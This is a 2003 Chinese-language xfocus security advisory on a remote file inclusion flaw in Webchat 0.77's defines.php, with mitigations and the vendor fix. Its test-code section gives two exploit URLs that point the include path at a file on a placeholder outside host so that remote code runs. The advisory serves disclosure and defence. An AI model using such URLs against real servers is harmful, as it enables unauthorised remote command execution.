xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Webchat defines.php远程文件包含漏洞


发布时间:2003-03-26
更新时间:2003-03-26
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:7000

受影响系统
Webdev Webchat 0.77
详细描述
Webchat是一个用PHP实现的CGI软件,它没有正确过滤用户提交的输入,可以使用远程用户可以通过指定某些URI参数来影响某些包含文件的路径,使指向系统外的文件。远程攻击者可以使Webchat的CGI脚本包含一个其控制的外部主机上的文件使目标服务器以Web进程的权限执行任意命令。

测试代码
http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php
http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php

解决方案
临时解决方案是修改PHP的配置文件php.ini,关闭'allow_url_fopen'和'register_globals'选项中的任意一个。

厂商已经在新版的软件中修补了此漏洞:

Webdev Webchat 0.77:
      Webdev Upgrade Webchat 0.78
      http://www.webdev.ro/products/webchat/download.php

相关信息
"Frog Man" <leseulfrog@hotmail.com>

WebChat (PHP)
http://archives.neohapsis.com/archives/bugtraq/2003-03/0037.html